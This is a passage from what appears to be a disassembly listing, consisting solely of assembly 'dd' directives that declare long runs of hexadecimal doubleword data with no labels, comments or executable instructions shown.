19BFF03Ch dd 0CCB396h, 613468F8h, 4486C80Dh, 0EF008ACFh, 0A98F2168h dd 0EA7123DFh, 0E5110FC5h, 0B5122C86h, 18C0308Ch, 0A552108h dd 296424C9h, 1875D148h, 44C00310h, 496272FCh, 5FE1D698h dd 0C352AE12h, 0F5B17C02h, 33DC680Dh, 46C49869h, 273402BAh dd 314EB2F7h, 3CA610D8h, 0B0790527h, 902391FDh, 0C013D62Ch dd 0A32B60C1h, 7874404Ah, 0BF7500F9h, 208A6C64h, 0D450EA4Dh dd 0D49B3870h, 8EA7A207h, 0DB389734h, 76A89903h, 40F31279h dd 8CF090F1h, 9C153C90h, 8890B422h, 0BB2B8072h, 8641625Ch dd 0C8A40C2Ch, 2C2D2E08h, 0CBE56098h, 4400F340h, 1CDD996Dh dd 82F29Ah, 18AABC24h, 0E959882Eh, 0FF1070FDh, 0A04C8107h dd 6E41FB28h, 0C715771h, 2410ACh, 773AA3F3h, 0E9025B93h dd 9C8E8D3Fh, 0A18460B6h, 0FC8080E8h, 0D323A407h, 901ADE7Dh dd 9E603C44h, 0A22392A8h, 3511B7h, 0B3A895DFh, 15E50Ch dd 417C60B0h, 860D9990h, 62FA9174h, 0A8B6E93Bh, 0AC3CD487h dd 25345892h, 9DFCC2FDh, 94711138h, 3460493h, 34806F99h dd 88D36BEEh, 0A8034D1h, 602B6419h, 5C8F60EBh, 0BC2123A1h dd 797D11h, 42185C96h, 2FE7CCBAh, 5E166098h, 0A821E285h dd 5828DEF6h, 3C90C68Eh, 0D49724BEh, 3568F7C0h, 70054661h dd 1EE8D88h, 0B70A4268h, 495FA3C8h, 0B38E84BCh, 948298BEh dd 273530BDh, 76B2F617h, 0A75838h, 646D273Dh, 83595598h dd 0C98F0ACh, 3EABBC3Dh, 64418EEBh, 33CF3Ch, 2D71E6DCh dd 95ED2725h, 33E938E1h, 0C8222E14h, 28F99A08h, 0A5382024h dd 318268A0h, 908BE980h, 7ACD0350h, 2D81F6A3h, 67E59900h dd 0C0794688h, 0CAD739ACh, 2B330202h, 584090F9h, 83001914h dd 0A2C96830h, 0A5BFBE27h, 61FDE4A8h, 806430DBh, 159924C9h dd 81E165Dh, 2FC09718h, 43B2F427h, 37E98326h, 975A827h dd 93C0017Ah, 16A66160h, 80016BBFh, 0DCE6BEEDh, 25D4A860h dd 0BC0E7FB8h, 16E90031h, 0D019AEFCh, 701E0FD4h, 0ED064B46h dd 18A1398Eh, 4F3189Bh, 0E5613168h, 21FB32C7h, 0F868EAA9h dd 5B2DAE2Dh, 32886802h, 0D18E00C7h, 68D8085h, 800B951h dd 1E13A548h, 4CD9C00Ch, 0A907D1E9h, 718F3B38h, 93C8399Bh dd 2440C9B1h, 32A1735Fh dd 15A42458h, 0E57E081Ch, 132CEB00h, 12AEF411h, 4140725h dd 244010h, 0C1BB7EE8h, 0E5E700C7h, 0C25947F4h, 24099492h dd 46D94E6Ch, 0BA3A58F8h, 602AFC4Ch, 233F1584h, 0D54E0825h dd 585CECE4h, 0C4BEC0D8h, 4B4C781h, 0C1DC7D68h, 7118011h dd 4A02C0F0h, 6F4D3AAh, 477CF40Ah, 8F5FC7EFh, 1498F0F6h dd 6CA049h, 0AAFE519Ch, 1E4F35Bh, 22F5BE47h, 5FDF95Fh dd 0B101FC00h, 2C416B2Bh, 302F399Ch, 544EB4F1h, 0D3D44500h dd 7075D7B7h, 0E6C401FAh, 16848717h, 6AA841E1h, 208421A0h dd 0DA6103DCh, 54D801C9h, 0E808831h, 9A581512h, 42078155h dd 0F46C4F6Bh, 0F18F99D1h, 0CF8C844h, 0A8037501h, 6A7D20C0h dd 501A3856h, 4650C4C6h, 64942EECh, 7426211Dh, 274070C4h dd 0F3585C97h, 0B0941800h, 36CB88F2h, 1B5E34A3h, 25C000E9h dd 89C2AC4Dh, 3A1060FFh, 0A7A4168Ch, 33E8F190h, 2F2210h dd 41A89BD9h, 4AA15155h, 442BFA2Dh, 0CE1D1018h, 3F2848D0h dd 10BFC0CDh, 1338E7Ah, 8FEC189Ah, 1C29CE78h, 20151DC2h dd 82F86F00h, 1B50123h, 5134132Fh, 1443194h, 31F6A4BCh dd 1C40530h, 0F18EB478h, 742828A0h, 0EE5D4013h, 0A8800C9Bh dd 609BC03Fh, 96D3DE3Fh, 0A43EFA0Ah, 38003623h, 3BFFDDB5h dd 0AF04052Bh, 0FD13018Ah, 0D579001Ch, 0F7CF23ADh, 0C9A20503h dd 601595EFh, 0D5744D0h, 0D3A4CD50h, 21A4181Ch, 0A97A4D4Bh dd 0E4546538h, 0CBD2612Dh, 0EED886CAh, 19A42C49h, 11CE1808h dd 0B114AFFFh, 8490A0E3h, 34907713h, 707608h, 7882EA18h dd 41B063C1h, 0D600BFB0h, 2A434D47h, 0BA936CFh, 37A828CCh dd 0DC9B7058h, 0D232978h, 0A012725Fh, 46A88C49h, 2D76B9E1h dd 0B4CBCF1Dh, 66822ED7h, 7C70AB5Fh, 90212D4Ah, 0C0DA8B68h dd 843266F8h, 1B9AED22h, 0F1319BE3h, 0A4CC21E1h, 92024419h dd 50C64117h, 793CB948h, 7C61832h, 14772AA4h, 0C7947593h dd 0F1E7B69Ch, 0A4EA1B05h, 60A0AD56h, 80681C4Ah, 0D448BC62h dd 18C31E8h, 0AF753A0h, 6056A3DCh, 0E64A39B3h, 3623106Bh dd 0E55CD303h, 681EC0D1h, 12A27A55h, 40F1F5B0h, 719AC9E0h dd 0E72F4144h, 26A8E4F8h, 6F35A4h, 729E83D3h, 132C1668h dd 0A382105Bh, 0E6246F20h, 91405A54h, 0EC779910h, 0C0148F8h dd 0B8046729h, 25E04541h, 9C8E17D2h, 6D60207Eh, 6BE59EE3h dd 65923009h, 60DFC44Ch, 4C017Bh, 89BE416Dh, 10DAFC9Ch dd 34C1C200h, 0DBD65E9Ah, 4509466h, 227491Dh, 502EAE61h dd 7E832F5Ch, 0DA72A448h, 699CC40h, 9DE402FDh, 0AB7071CFh dd 762AF302h, 494A3E89h, 942D8130h, 23D76300h, 0E0A7F348h dd 2E4F4900h, 853FA11Ah, 0AA660078h, 0D2EBF0A3h, 4460F9EDh dd 0ABF48F88h, 5BCD0454h, 5E1E2Ch, 0AC7C696Ah, 3C460A34h dd 169461A6h, 9114B078h, 0DD70A8BBh, 0D7F1002Dh, 61DC85ADh dd 1BDCE9Eh, 8DFDC92Ch, 0E360057Eh, 14B0229Ch, 0E614A055h dd 0EAFB7B43h, 0C6F1006Bh, 0EEF3222Ah, 0B01CB48h, 0F58781C9h dd 0F4D84A03h, 0E9C32612h, 60EE4424h, 259E5C92h, 3096C421h dd 5CBD2D00h, 138FDFA6h, 61F70B20h, 30D83AB6h, 891DB30Ch dd 576A843h, 7521A380h, 46C958Eh, 17D5392Ch, 20E2B8E1h dd 27A5EDB3h, 0E19810BFh, 0E0889EFCh, 95B193EDh, 72C94CF2h dd 0E850EB81h, 1BC8D79h, 581D59A3h, 778E1478h, 4D6905DCh dd 0D6C0C4C7h, 2C4A9A9Ch, 9FB0DA76h, 4CD690AEh, 8CBA454h dd 0EEC03088h, 0F0BB7732h, 70E550A6h, 2F2520FDh, 589E6500h dd 0C6200651h, 9C3716EAh, 0A24801F7h, 72CFF156h, 0AAFF0058h dd 3CDE0FB7h, 36992D1Dh, 0FBC204A0h, 0C4956933h, 0F3F9039Ch dd 47029DFEh, 65ACC0AFh, 4CB0A9C7h, 0FAD02ED8h, 36EA00C5h dd 6E4C617Fh, 0AB0B7910h, 66E4A64Dh, 41C080D8h, 0BE4A80F9h dd 1B951925h, 3368E8C4h, 0C8152161h, 8B00D291h, 0A56968F0h dd 0FDFCECB0h, 757C3600h, 3F60135h, 74521555h, 1C01C8D8h dd 0A302B543h, 0EAB44868h, 0BE303F05h, 0C8B91398h, 0F8F29C06h dd 282F74C6h, 32F82F66h, 0FD3C6802h, 42CF631h, 0C01D186Eh dd 0F5D0FAA8h, 18220130h, 0C0DB8158h, 0EF022539h, 1C00856Dh dd 8EBA712Eh, 0B9AD942h, 0B1CE3052h, 98E98480h, 2CB05831h dd 694C4480h, 4B147B01h, 9A969E5Fh, 8C217C21h, 273030DAh dd 2EB2F312h, 0EEAF838h, 98862738h, 0B003BDA2h, 908B9987h dd 3144842Bh, 2190AA48h, 0A91505D9h, 0FE24F42Eh, 163E189Eh dd 1C8025F5h, 98AA9E0Bh, 402AF941h, 7AA1376Ch, 0C091D5BAh dd 64E5D108h, 9D1523E0h, 10E8A054h, 3D1CC082h, 72450FDh dd 7D5C8369h, 132D27B0h, 0D20D8016h, 2BCC4486h, 5059253Eh dd 42958E58h, 709CD370h, 0E203EA12h, 2F66347h, 9D781011h dd 0E040B2E7h, 862F0E48h, 0A1A0920h, 0A27EAE5Fh, 2331086Ch dd 3C24401Dh, 58BF2E8Eh, 143D2F8Ch, 0F835E53Bh, 784F730Bh dd 0E1918C22h, 0E3B13CA5h, 30E4E208h, 0C701A7C5h, 0FDB07B2Ah dd 0B4523CADh, 3F6EE39Eh, 0BCD829A8h, 8CE2F8h, 80F68FCCh dd 0F770D5E1h, 8066AE25h, 7DEDABF4h, 0E770C22Ch, 0D0792BD9h dd 4A18D2D1h, 379F0A00h, 0E480027Ch, 28C1131Ch, 87801F75h dd 5465253Fh, 88A8CF9Fh, 38CA31h, 2438F876h, 0F940615Fh dd 7868003Bh, 0AF0130F5h, 8892A53Eh, 0D4CB694Ah, 82C1FBC8h dd 282C21ACh, 20B88E80h, 0BE017FF3h, 8360E0DBh, 9C30E664h dd 97A81811h, 5EBAE827h, 0C894DA76h, 267C465Eh, 8217FC8Dh dd 903D8B4h, 0E330D25Ah, 0E4112076h, 8B815D00h, 74411101h dd 0E9AEA60Bh, 7D304094h, 0FFCD40B2h, 12B98000h, 220F2AA2h dd 835800C7h, 15B25BF7h, 0F0923721h, 7C02B0C9h, 0DC2E808Ch dd 7D2B729h, 0F13A8125h, 0EB660048h, 0DA53B3D9h, 690AA000h dd 0B84D024Ah, 672F0460h, 0A8C443D6h, 44E49270h, 1EE54482h dd 0C84A2704h, 4C10C14h, 2D029692h, 0C9309357h, 0B710D982h dd 6004631h, 5DF270A6h, 0C20C7Fh, 0CE298927h, 8F8EBDCBh dd 0D7EAC490h, 0F244CCBEh, 0DF9A8240h, 130FA62h, 0AE6161F4h dd 4A892E2h, 0F6361DB1h, 8C98C7DCh, 18C419E9h, 6D28F4B4h dd 685CFEEDh, 92E465Eh, 8E42AE41h, 42D9E848h, 542AE91Eh dd 0F402C63Eh, 0ED613068h, 0A610D531h, 0D10068EBh, 0AF8E2540h dd 5F0891Eh, 54D4AAFBh, 5FC80534h, 10F8E2BFh, 0C0642CD2h dd 0A7A16037h, 9FA2238Fh, 0DC093011h, 0EE80A898h, 6E5E0FF1h dd 8A25B016h, 0AC774081h, 0B678842Fh, 0E806E398h, 0F7414BB9h dd 8053199Dh, 9A4A7C2Eh, 3E3DE2B3h, 6269001Eh, 2D5C350Dh dd 0C08500A5h, 437A7301h, 0BE0F279Ah, 10C50D1h, 9FB2B65Fh dd 2FD43064h, 0DC0ED0E3h, 0FA09D7E8h, 90B8CB12h, 26FEBCh dd 0D3B4649h, 74F4AAE2h, 14EA3900h, 5B2125E9h, 6DF5162Ah dd 5460271Eh, 0B8AC01A3h, 56E6A5E0h, 1CF8A598h, 32DE0300h dd 7411C61Ah, 15A80ADDh, 2D984B05h, 8199E88Eh, 0E698901Fh dd 376BA401h, 3D2FA5E3h, 4B88790Ch, 0DB140274h, 0A1522DB1h dd 0E55A2440h, 13A2B788h, 0A89BD64Ch, 4E2C0BB8h, 205880CEh dd 3366A428h, 21A0E34Dh, 812CFEA9h, 3E5EA638h, 0D3F03A83h dd 0A3F43117h, 13DCEA58h, 0EC98A0B8h, 0ADED25B0h, 636150E1h dd 0F5AF0448h, 94E8C557h, 0A28A20DBh, 0F0C060Bh, 2494B2D8h dd 0D4C47C1h, 41A978ABh, 792BE64Ch, 0E8B02EE4h, 2CEDA912h dd 40E20112h, 387F5678h dd 9E00F478h, 0F90CEA32h, 13BCB8AAh, 0AC819573h, 0A0CC8174h dd 0A9D8B202h, 506E00FBh, 0C3DD0FF2h, 0B500AB15h, 69EC6F38h dd 12E88AFAh, 37E17275h, 60714DC8h, 99407A7Ch, 691510A9h dd 0A8A8622Bh, 0D95084C1h, 0A7964841h, 632DD4F8h, 0C9602395h dd 2A76DF21h, 0C0E711F8h, 204D18D8h, 581EAB1h, 0C3CB65BEh dd 4D902831h, 0B04E5345h, 5EC03388h, 12B72AE4h, 463875Fh dd 0A42EFE38h, 0DEF2D00h, 0EAC620D2h, 0D64C2E27h, 2009B258h dd 35D7D3AAh, 1278B890h, 949457EFh, 23A03248h, 5F91973Ch dd 4C22B85h, 0FAA0EB2Fh, 45BC1BD6h, 0C425232Dh, 79625481h dd 38F13041h, 9079C44Bh, 0C42E25CCh, 0E2912C1Dh, 0A860F580h dd 17019AB8h, 0C5595F2Bh, 2A3E1020h, 2E2213Ch, 0D8AE4D1Fh dd 0FD20D4DAh, 552500D7h, 0CB897C24h, 2F311898h, 0D3395890h dd 0E7315C11h, 569E5FB0h, 0DCE1774Ah, 6504CC63h, 0F8364FB6h dd 228BC264h, 44245D75h, 20A982h, 0BB09A147h, 3BE463A3h dd 4382AB40h, 0C9E754AAh, 2D79B0D1h, 1CCA4019h, 8158281Fh dd 0FF3780D0h, 0F406ACh, 0E40B8E0Dh, 5510C143h, 0A4293100h dd 1877845Dh, 622491A1h, 7CC71DC0h, 0DC60CEC4h, 70921F2h dd 841C8102h, 50E0ED42h, 4BCEE70h, 0A2F0CFACh, 0D3A88249h dd 2A489058h, 0B8414FA8h, 0E98D7E4Ah, 42CC442Ah, 282C162Eh dd 10C68827h, 0E8B5B626h, 192F1D09h, 0C1810D44h, 86056E4Ch dd 582F2A4Ah, 0C109CF23h, 27DA0029h, 168C1823h, 64FA4921h dd 202CD0B8h, 0C101D43Bh, 940DDEACh, 0E9E985DAh, 69004833h dd 0DF2E4CA6h, 0CE00BD0Bh, 0FC640A0Dh, 4E2AEA70h, 59B80CF1h dd 0C8000F39h, 0BE63822Bh, 0C07A1298h, 20D030B9h, 5F002474h dd 16C0B2E6h, 1696B906h, 60C7DEA1h, 871099ACh, 0E830C648h dd 47778C34h, 1DE1E601h, 0C98E2EA0h, 2DBCA06Ch, 0A4C82C8Ch dd 652163C8h, 97E0F0F4h, 0C0C22A4Ah, 5E4C01DEh, 0E88C6535h dd 0D8141689h, 1283EB7h, 905A48B6h, 8FD423CDh, 71764Ch dd 0EB333B44h, 62BC6F99h, 1240375Dh, 0F029B18h, 6256AEFEh dd 4A40C4E0h, 4378F49Fh, 649D98ACh, 0B0C6E8C0h, 0AFCB48B1h dd 727E1Ch, 3A3DA0Bh, 8000FAE3h, 0BB251EC5h, 0C7927516h dd 96B0FFD1h, 0C10CFA64h, 18D6BA52h, 22F8B803h, 0FF001E66h dd 2299E0AAh, 1963B9Ch, 8F3198EAh, 0E03CFB28h, 3000A0F3h dd 0BE2FA290h, 324D0E8h, 0FE844D25h, 0AEE0CB88h, 70BC08BDh dd 849B1816h, 0F00BB987h, 0ECA43127h, 621B8A07h, 88176891h dd 0EB98FAE0h, 0E3211778h, 7388C84Ah, 0F314BC00h, 7C9DE02Bh dd 0E9127C56h, 1CC4EBF4h, 444BAEEAh, 0BC8F4A8Bh, 556E00E4h dd 0AA8E8CE9h, 68CE0AB1h, 4968DA6Ch, 0D64148D6h, 0B5E07E32h dd 9C60037h, 98B4590Bh, 5F163A1Bh, 0D849A2AEh, 6A1C02A1h dd 7EA600E4h, 281F9D1h, 2A00647Dh, 0BB279BECh, 0EA0003D8h dd 1FA090DBh, 8C35A3h, 9FB0704Dh, 0B31ABE49h, 81B11527h dd 66B6E7E0h, 5B74003Bh, 0B0E9963Ah, 0D094B928h, 52370F00h dd 0F18E7D83h, 5F4D049Bh, 0B84A5A6Fh, 0D59C8028h, 23A6D7h dd 0A81E55D4h, 7A68B1E4h, 6E2FCD07h, 9F30B245h, 0BEDAEFAh dd 6CC9563Fh, 9826DC02h, 1D9D8078h, 0C0D5119Ch, 4931AEA1h dd 39F005F1h, 88A7E3E8h, 74941410h, 50980E80h, 0A0AE51Ch dd 0D14156A2h, 0E13002A0h, 0B4A117CEh, 0C00863B1h, 700C7AAh dd 37EAC5ECh, 0E780D0E7h, 36A23C23h, 3BC0F30h, 0ED16B7D5h dd 8D0E2A6h, 0A2094C82h, 823A296Ah, 5E016C18h, 0AE37818Ch dd 0D3C0E97Fh, 0EDB290F0h, 6FA5EEA0h, 8E3CA801h, 0C9B5649Eh dd 2C5E9824h, 94D84EB6h, 0E3C2B0AFh, 287229A8h, 100CB94Ch dd 0B8406612h, 76A61A5Eh, 0F046F9C4h, 33A0E319h, 52D99C39h dd 0F3C8412Ah, 3240693Dh, 2EFC0050h, 18D89592h, 0EEF27Dh dd 73090DD2h, 0DAC26716h, 58012A02h, 90E72CEAh, 28F48FECh dd 5638EDB0h, 0F9E0FCBEh, 0F400DAE4h, 0C516537Ch, 3AD8E89Ah dd 572D41Ch, 0DA4359CDh, 99F09291h, 3A68F530h, 2246612Fh dd 0ECA70BFDh, 7870E368h, 8CC497h, 0D33CB833h, 119B735Fh dd 88B3760Fh, 0AB41195Dh, 24B967F8h, 9B81964h, 4C09466Eh dd 0FAC9F4C8h, 34C5A34Bh, 57D0841Eh, 0D1A28043h, 600530h dd 333F1473h, 71FDB069h, 0B491464Fh, 0E0287023h, 2A4E84h dd 1D209BF9h, 0E82750D6h, 0B58A7BF2h, 14D238B9h, 8C709C3Ah dd 58E79B00h, 5147EACFh, 332514AEh, 0D4E87456h, 1BA4008Ch dd 34473BABh, 211727D7h, 20C0DA1Dh, 0A4022903h, 349D00DCh dd 0E2536815h, 8D03C698h, 0D9228960h, 17E5C818h, 0DC3D2D4Fh dd 3430A4E1h, 0C520ED84h, 787AA02Bh, 8B18D64Eh, 0C0D6C870h dd 0AA2015FBh, 0A9689A0Bh, 0F8B0185Bh, 0DD87178Ah, 0C4A600B5h dd 7E9FC1FBh, 733B8F05h, 0F4A4A928h, 1F6330A3h, 2956A439h dd 0C008D85Fh, 0A5DF01E9h, 36B93D0Dh, 0B3FAF098h, 0D23A1DDCh dd 6B3940B5h, 34A48131h, 0C593F427h, 60E1E460h, 0B1AC380h dd 8DBBAAF2h, 8B911502h, 3DC087Ch, 891E6EADh, 0F000A33Ch dd 919A9FC8h, 4D9E61D4h, 0D30BD46Ah, 0E8C47D25h, 456E423Dh dd 0D888600Ah, 0F5B310C0h, 0B50492A9h, 6D818491h, 0D7F0078h dd 65313EB5h, 14A404E1h, 0A599E32Fh, 3A20D4CCh, 8430F32Fh dd 24544B94h, 8CE1E8h, 1690FD39h, 6950DD76h, 0D78222h dd 342C4BD2h, 0A3578AA8h, 22D69400h, 85353AA7h, 28080059h dd 4D8BFA4Eh, 0ED248F69h, 0A8029790h, 591AC915h, 5A631118h dd 9780209Bh, 0D210CBC2h, 29D61305h, 0C402B2E2h, 2AD8A3DAh dd 8602D6A0h, 9EE11A62h, 0AD10D4B2h, 8BC38C4h, 75FB465Eh dd 0B2B59D02h, 0DC26C515h, 0FD6980A8h, 6A2B5FE9h, 0A35A68B8h dd 0C007CCB2h, 3080C450h, 0AAFE3E99h, 0E522A52Dh, 607DE470h dd 26DBBA44h, 1FC4275Bh, 0B0132215h, 0AC80B925h, 138A925Fh dd 3E19C602h, 0FB23BCh, 0D289887Ah, 97F1EDh, 0CD086ECCh dd 303AE163h, 9AC11CA4h, 82EA2525h, 6462A3D4h, 57440B38h dd 0E4C8FE31h, 6081DAC6h, 0CE4AA078h, 0C07CC8D0h, 0F7B51340h dd 0B8D09149h, 0D2A824EDh, 0DEF4895Ch, 4AD038DBh, 90405EF5h dd 0D23A77Ch, 0B3D5BE2Eh, 9F697E00h, 7F9AA2BBh, 0BA1B0018h dd 0D3AA2FA3h, 671E43ABh, 4A4B2A91h, 468844CEh, 0A79F023Dh dd 598FA295h, 96DE6044h, 88091AA8h, 0FA42035Fh, 0F7700350h dd 0AC338063h, 0A06CBE0h, 9B019C7Ch, 76C0F2B6h, 9720690Ch dd 0D86C9FFCh, 914017BDh, 0A92687E4h, 7168494Fh, 7FC700D8h dd 0BEF5F8D6h, 0F3451D0Ch, 4CEAE20Ch, 19C86C26h, 780FC693h dd 44E47228h, 0E3DB0510h, 564CC54Dh, 2B810D94h, 80A87830h dd 0C5ABC8A8h, 572500FEh, 0D24A6CF7h, 0D43A7E20h, 0D650FD22h dd 40C828B4h, 6C4480ECh, 47756E4Ch, 0D172573h, 24CE30C3h dd 28C03188h, 77DEA6C1h, 244448F5h, 8C70E8h, 0D430E345h dd 99AFCCB2h, 704B59FAh, 416D58CCh, 8E5808CFh, 0B7CB3C2Fh dd 998307B4h, 967A20A7h, 0D09D4A3h, 40C2AE5Fh, 5AEDD3E0h dd 9998A0D9h, 559BCB2Ch, 271AD604h, 0E92DA4C1h, 294563Eh dd 0AA011C80h, 61031CD4h, 971CBD6h, 89ED2528h, 7CEACC42h dd 4D78827Dh, 704902FEh, 0B49CEC72h, 938200DCh, 3EA7F88Bh dd 7671A97Bh, 96C58002h, 6301A24Fh, 0FF301E26h, 0E09798AEh dd 0E609D2A9h, 0D96B6728h, 1872F114h, 9A79016Dh, 1D211C15h dd 68016ABEh, 0E81223A4h dd 0D4F2C033h, 43F45631h, 63930258h, 0DFD2BB69h, 6444047Dh dd 5AB65F40h, 0D1D3D37Ah, 9F2710E0h, 0C84A9000h, 1C740F99h dd 0A48AFA04h, 895D1B4Bh, 8C19493Dh, 24C76A60h, 20B55EC5h dd 0D1C8600Fh, 37520FC1h, 906074C5h, 7E991C38h, 0B14E82A6h dd 0A4F42BF4h, 27D465Eh, 0AF01D823h, 264F8D2h, 9EF9CB3Dh dd 84826DC6h, 5440B0B2h, 13882D72h, 3882273Bh, 8CFCE029h dd 0C1DD9CB9h, 0B5745005h, 0FE10A0FCh, 10F32CC8h, 1013E712h dd 62200CB4h, 8B34C035h, 1FEA9080h, 217C9607h, 0A812F411h dd 992E2002h, 0B08EE671h, 29F00B73h, 0D80E5C44h, 171257D2h dd 72C108C0h, 1C49EDAh, 0E36C439Ch, 1CE4799Eh, 0C3E7FD29h dd 96D8101Ch, 0B2B10262h, 12BA141h, 7C357EA2h, 30E70144h dd 9CED2D20h, 0A7DDC850h, 0C14D7D7Eh, 9E7299B8h, 3770ACE3h dd 192B0105h, 0FAB25CE3h, 0BDD0A330h, 0D4062C09h, 5562F031h dd 6030CB99h, 0D3F0E758h, 23703A70h, 17980034h, 7F719D62h dd 668A420Bh, 6D8625Bh, 25B16CEFh, 0F4527521h, 3999F012h dd 0F00A900Bh, 30A22640h, 3D61170h, 4FEA6D83h, 5D0F988Fh dd 0B5CD0B35h, 0DCECFC9Ch, 71FDB313h, 1EF8B0B0h, 0C0208C28h dd 988883FFh, 0E15E1AFAh, 0FA238C2Fh, 0E0D80107h, 0CA92484h dd 26AF0704h, 1C13046Ch, 93D2E491h, 70A4207Ah, 3B00B008h dd 2212CBDFh, 1279D4F1h, 0E5925Dh, 3E3A71B4h, 1526B2F3h dd 619DBC9Eh, 9848655h, 0D81125AFh, 24979778h, 0A80D491h dd 1C5B2529h, 0C69AE701h, 31FE62C2h, 0C948446Fh, 3FEA02E2h dd 7E20D0D2h, 906C7FC1h, 0BC7520A0h, 0F8652505h, 40C0748Dh dd 1E677080h, 0C3E3D0EDh, 8BE21C20h, 65D3B690h, 8545CE1Dh dd 75BC171h, 3868FF00h, 62F73E09h, 9F284883h, 0A60D0229h dd 2AFA75E7h, 6D92FC56h, 52B128CCh, 653A901Dh, 0A0421092h dd 627DBA44h, 2F297B2Dh, 7A09DE6Ch, 843CF173h, 0B8B50DB1h dd 0CE5F0B80h, 0E190C3E7h, 26BAD45h, 6959F76Ch, 786088E2h dd 9DB7E081h, 837D91D4h, 899922C3h, 43A9F68h, 0ACD0B110h dd 8CC78834h, 0ED397914h, 0B22DB10Eh, 0FFC8A171h, 6FC1261Ah dd 46676D0h, 0AEFE8BC0h, 0A18890A2h, 72547DD3h, 0A80991E4h dd 68222515h, 42E567F0h, 84CA5FE9h, 59C166C8h, 6DE8BB20h dd 0F6390224h, 464D214Eh, 0F9017CD4h, 0B2652094h, 0F41C002Fh dd 24D00F83h, 78819F4Ah, 212FA437h, 732AA0FCh, 3333E218h dd 0D7786FE2h, 0A2950D74h, 99E35188h, 0DCD295A8h, 7000F408h dd 71A92BB3h, 9F755Dh, 20A3EB5Bh, 29FDB278h, 0AC44245Ah dd 3431655Fh, 1804052Bh, 0C016CA85h, 0CB8953F4h, 465E18BCh dd 1924834h, 7E1AAFF3h, 8C307F6Bh, 0D36A24FEh, 0FD41E484h dd 0DBD0014h, 0D040F938h, 0F2390E18h, 0B6D3F0h, 8CBCAF60h dd 0F94FF5D2h, 0B8A37017h, 0C1D9800h, 0BCFCB701h, 399B8812h dd 2B90C8h, 7F363774h, 0F0943B98h, 7A917C00h, 0E32FA1EFh dd 20C5004Ah, 0E9A3F317h, 0AB093D9Ch, 8529CFC1h, 34AE10F5h dd 0F234E240h, 6EEE307Ch, 22A43200h, 0D9B33EE9h, 0F3A55AD1h dd 46EA0018h, 4BA3CDEh, 88C227B7h, 0E04040ABh, 97B73380h dd 803691B0h, 0AC11C7ADh, 0B8D01A0h, 3122F9A6h, 0B57DEFDh dd 35BC4880h, 0CE11C429h, 680E807h, 2D2125B3h, 0AAE2719h dd 69F5F868h, 2183169h, 65F244h, 4E4D2295h, 0E4266CB6h dd 2E1C9026h, 76A41F60h, 4CF0B039h, 0D40B176Fh, 0B19DB9Fh dd 11889FB7h, 14AD817Dh, 0C92EA5E3h, 92604510h, 74400A60h dd 8E255521h, 0AE2453DAh, 71465E08h, 85CC4700h, 315F8674h dd 0E0A8A0B8h, 0C8836878h, 4A0D0FEBh, 0D26827A1h, 94E22D67h dd 3D1FDC56h, 5CE42621h, 2601CE46h, 3FF5BFBCh, 1C4700Ah dd 4038CB22h, 608AB61Bh, 483611D0h, 0E5113867h, 411702A7h dd 0D1DEC1CFh, 186ED9A0h, 693494F7h, 0ED030851h, 0C02DFF60h dd 0EAB09AD0h, 820F1820h, 8AA721DAh, 69032272h, 0DDB9F2B4h dd 1C3790ABh, 71A60A81h, 13A83A12h, 17D48828h, 0C0D04395h dd 98A71BD8h, 9824A28h, 0ECEA84C8h, 983757h, 0D875D669h dd 23985D2Dh, 0ACC13A5Ah, 4C25E013h, 0C92F18D9h, 6DFDD06Ch dd 50968092h, 20CD22C2h, 5EC6436Fh, 5482A718h, 14D0B239h dd 9C299167h, 7EEA3022h, 22DF5927h, 5CA663B4h, 3EB9864Ch dd 99122911h, 0A0D2DC20h, 952C7A4Ah, 3091F097h, 91A61E81h dd 9EC09F2Fh, 5EC49C60h, 0CB02D546h, 0A3B9532Eh, 7A08B0FEh dd 0E4821629h, 3C4B7684h, 4FC84C39h, 0F4123C4Dh, 0E6207A44h dd 0F3F05A2Dh, 0AEF70280h, 51D36F4Eh, 800CA8A4h, 5867B294h dd 4D29D458h, 74982498h, 7E3546h, 8B091328h, 9AF04329h dd 0E9558CB0h, 82FDDED0h, 0DFE41D14h, 0E1C63022h, 2726A00h dd 88B1C1E0h, 0E9B6B41Fh, 4026C478h, 21B120Ch, 3D5221E3h dd 0F4809F35h, 4BDAF616h, 0D33DC037h, 15B28B92h, 8E8060EDh dd 0C6A41CF3h, 9C70E541h, 10C5E900h, 1FA1F116h, 0DB0A257Dh dd 46DE4A4h, 141D6B8Ch, 0D820A888h, 132CFA0Bh, 49CFA17h dd 29DC19D0h, 0A718C21Dh, 0CB7C6821h, 2B97C439h, 0D523D8h dd 27062FD8h, 8F021C91h, 0A6613817h, 0E4685086h, 4015591Dh dd 0A2314112h, 0E2D11014h, 0BA4D1F0Eh, 24CBB8F8h, 0A448D309h dd 3564741Dh, 0C9A081D1h, 219E08E2h, 0E52D6929h, 60D8641Ch dd 611C609h, 29B7B4Ah, 0ED04D1CEh, 0FCF67529h, 2E1024AFh dd 1F8C7088h, 0D20E6204h, 0C928ACADh, 71B0F191h, 36C18E0h dd 0A9CF0B8Ah, 9B8FB9Fh, 755FFDB1h, 39C00C00h, 9D7C4B81h dd 4D666C00h, 161761C7h, 0DBE22Eh, 0AA57C080h, 0A1118ED4h dd 73131E3Eh, 0DC500B4Dh, 5F61F87Ch, 0C86F56AEh, 5241A560h dd 7C62D820h, 9492976Dh, 405010F3h, 0AB8A0209h, 22CCD8FFh dd 0A4349855h, 0BB322E15h, 0A4602D98h, 0D342654Bh, 0B7BFFB22h dd 84520054h, 99FD5F94h, 0E7123803h, 506932AEh, 9737A2D1h dd 280974E4h, 9569868h, 64C04750h, 0A3DD606Eh, 0A4909561h dd 0DE41D95Eh, 0ED092462h, 0E4C91A5Dh, 9C007B3Eh, 0AC21D7ABh dd 0A2294E18h, 2BB28498h, 23283BEEh, 5B630034h, 41D46F1Fh dd 615E2D01h, 0D896429Eh, 45F98451h, 86F80404h, 69840578h dd 75C8D08Fh, 0CB87C6C0h, 0D0F60B85h, 60844D6Dh, 0C5448840h dd 3633D71Ch, 9D1DFB82h, 828F0134h, 0F179A5B9h, 18D779DCh dd 14CEE5Dh, 0A309796Fh, 4D3C6C20h, 0F0DC66F4h, 9049C546h dd 983B0BE8h, 0F4D8CD76h, 465EE0B6h, 4CD9006Fh, 0CC436E5h dd 883F5BBEh, 0E7004374h, 0E5C88161h, 0BAA3127Ah, 47A70B64h dd 0FD000170h, 77AEDE6Ah, 924DBC02h, 553DCA90h, 0C0D11492h dd 0D718D579h, 695F7C00h, 6E04A2C5h, 0CCAA4826h, 52850112h dd 0F2A0E254h, 701131CEh, 